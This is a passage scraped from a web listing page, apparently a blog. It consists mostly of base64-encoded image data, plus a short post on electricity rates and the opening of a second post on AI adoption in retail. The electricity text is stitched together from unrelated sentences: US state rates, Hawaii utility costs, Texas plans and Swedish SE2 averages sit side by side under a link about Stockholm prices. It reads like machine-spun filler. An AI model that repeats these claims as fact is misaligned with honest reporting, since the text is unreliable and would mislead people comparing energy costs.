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" width="259px" alt="electricity rates"/></p>
<p><p>Utility Company Emergency Assistance Some electric utilities offer cash assistance and special payment plans to consumers facing financial hardship. Combined with HECO&#8217;s rate-base recovery for infrastructure on multiple islands and the 2026 rate case increases, Hawaii stands  alone as the most expensive electricity in the US by a wide margin. Commercial bills include a demand charge that&#8217;s 20-40% of the total.</p>
</p>
<ul>
<li>However, with the rise of deregulated markets and energy choice, consumers will have more opportunities to compare electricity rates and choose the best energy provider for their needs.</li>
<li>While this can offer price stability, it might limit your options for customized plans or lower rates.</li>
<li>Delivery charges (40-60%) pay for utility infrastructure and stay fixed regardless of supplier.</li>
<li>Texas averages around 15-16¢/kWh statewide, but deregulated areas offer fixed plans well below that if you shop.</li>
<li>Sweden SE2 hourly averages for 2025, based only on published complete days.</li>
</ul>
<p><h2>Electricity Rates by State</h2>
</p>
<p><p>However, in regulated energy markets in many states (like those served by PJM or MISO), the government sets the electricity prices, and you typically have just one provider to choose from. States in this region typically have higher rates due to energy constraints, dense populations, aging infrastructure, and a heavier reliance on expensive natural gas for electricity generation. This list includes approximately 150 different utilities across the country. The services offered include energy-efficient refrigerators, energy-efficient furnaces, attic insulation, and low-flow showerheads among others.</p>
</p>
<p><p>Program benefits include installing individual meters and offering cost savings and energy efficiency programs to decrease upgrade costs. Many factors play a part in your final decision when shopping for an electricity plan. Electricity providers set the rates and offers available on our site, and they compete to reach customers who are actively shopping for electricity. Frontier Saver Deluxe 12 can offer strong savings for higher-usage homes. Among deregulated states, Texas offers some of the lowest available rates when consumers actively shop for competitive plans.</p></p>
</div>
			<div style="margin-top:var(--wp--preset--spacing--40);" class="wp-block-post-date has-small-font-size"><time datetime="2022-08-09T17:38:05+00:00"><a href="https://incipro.nogway.com/electricity-prices-in-sweden-se3-stockholm-today/">August 9, 2022</a></time></div>
		</div>
		
	</li><li class="wp-block-post post-70209 post type-post status-publish format-standard hentry category-retail-news-5">
		
		<div class="wp-block-group alignfull has-global-padding is-layout-constrained wp-block-group-is-layout-constrained" style="padding-top:var(--wp--preset--spacing--60);padding-bottom:var(--wp--preset--spacing--60)">
			
			<h2 class="wp-block-post-title has-x-large-font-size"><a href="https://incipro.nogway.com/state-of-ai-adoption-in-retail-and-cpg-2026/" target="_self" >State of AI Adoption in Retail and CPG: 2026 Executive Survey</a></h2>
			<div class="entry-content alignfull wp-block-post-content has-medium-font-size has-global-padding is-layout-constrained wp-block-post-content-is-layout-constrained"><p><img decoding="async" class='wp-post-image' style='display: block;margin-left:auto;margin-right:auto;' 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vlubYpWsa6oIc7ZIx25hPUjlyBzjJHTkqo9E5+7irTu87ZOf6GLSilVBQScWvZE+JZuVy4m3VtRYW2e4VdWxnyayVjhG9zWhrdzcNJdkOJGBlx6JzeFvESS/PsbdKVvrzIG1EjDLEGMjc5zWuMm/YMlrgAXZO08uS7XFJ3/pJ1f+m6P9EKtL0s9bak03NYbXp+6VFsbVtnnqJac7ZH7CwNbu6gd5xIGMnHgOe6GhfZv0zz3rPRmqtHyww6ks1Rb+3z2Ly5kkcmOoD2FzcjrjOQMclevooMa7hZrBzmNd/CpMZAP/AGZqz8Za2o1B6K9ivl021FwkFBUOmLQCZXDa5/LABIc7IGBzKb6IUElVw01XSwvY2WeufGwuzgOdTMAJ8ceeFpLc3GCjkVcHnjRek9TaulfS6Zs1Rc5qeFskwicxojaTgEueWt588DOTg4BwcSDhlT3rTvGO2UbdMxXq7UVRKx1q9Zi77xE/cBJksDmDLuZOCzHIjle3EeirOEPAxlv4f0+5j5RDcru1wM0ZcNrpjj8JzhsBBxHyAHIEUp6Nf+HPTH8+p/4WZSjGjS0vZpcdqy4VnEu51l20yzTVU9kRfQiZkhaOzGHuczulzhzOOgwDkjJxv4UcSG3iGzu0hXevTwmZjBLEW7AcFxkDyxnPlhzgT4Bdv0sf8M14/wA1pv1LVdfpYawv2l9OWWn0/cprbNcKmTtp4CBJsjYO6D1GS8EkYPdxnBINo1pTcm/R5p1roLWGi2QyamsM1DFO4shm3xyxvd127o3OAdjJAJBIBIGAVpaT0tqLVlwfb9N2ioudRG0Pe2LaGxjPIue4hrc9BkjODjOCvRmprpWaq9Dd14vkrqquMUZdO4AOc+KuEYf4cy1vMjrk+a5Pon19PVaC1hpO23GGh1RUmWopHOOHbHQNjjePEhkmScZxvB8RlQ7a1Jclaz8D+K0L9vzNmfyByyupSPq/jVBbvbq603Wqtdyp3U9bSSuhnhJaTG8HBblpI5dMgkL1Toik1Bwz4L6mdxKvL4pZ3TeoxG4ulmy6ENDI35yHOfzAaeXNxwSceTXyTTPdJUSvllecve5xcXnxJJ5knrkqGZxSo39OWS7aivFPZbHRvrbhUbuxga9rS/a0vdzeQ3k1pPMjp58lIbPwt4gXaruFLQ6XqnPt0roasyzRRsjkAyWb3vDXkdcNJ5EHoQV2PRh/w5ac/wDi/wDhJlPPSP4rawsfECr0rp25MtVBSQx9sYqeNz6h8rA9xJe04GHAAAA5ySTkYBRjp1MorTNjvWqLnFbdO2uquVXI3eIoG9G/jOJwGt8MuIGSBnJCkOqeFXETTNqlu160vVU9DE3dNPFPDOIx5u7J7i0DxcQAPNXn6KtBR2vgrqC/Q19JaquomqGvuNQwOZSMiiAY5+SAWMJc8gkAgnmM5HR4U3TT+k5bk3UnH2yaupK9o/eK2qYOzfnvEOfO/uuBwWAAdDjztGo4k0m/Z534R6FuGvNYUlrhpar5MZM11yq4m92nhHM948g52NrQcnJzggHHd4vcItQaRvF6rrXZq2XSVEYjDcJ6mFxLXMjBJAId/GOLRho5Y8Oa7/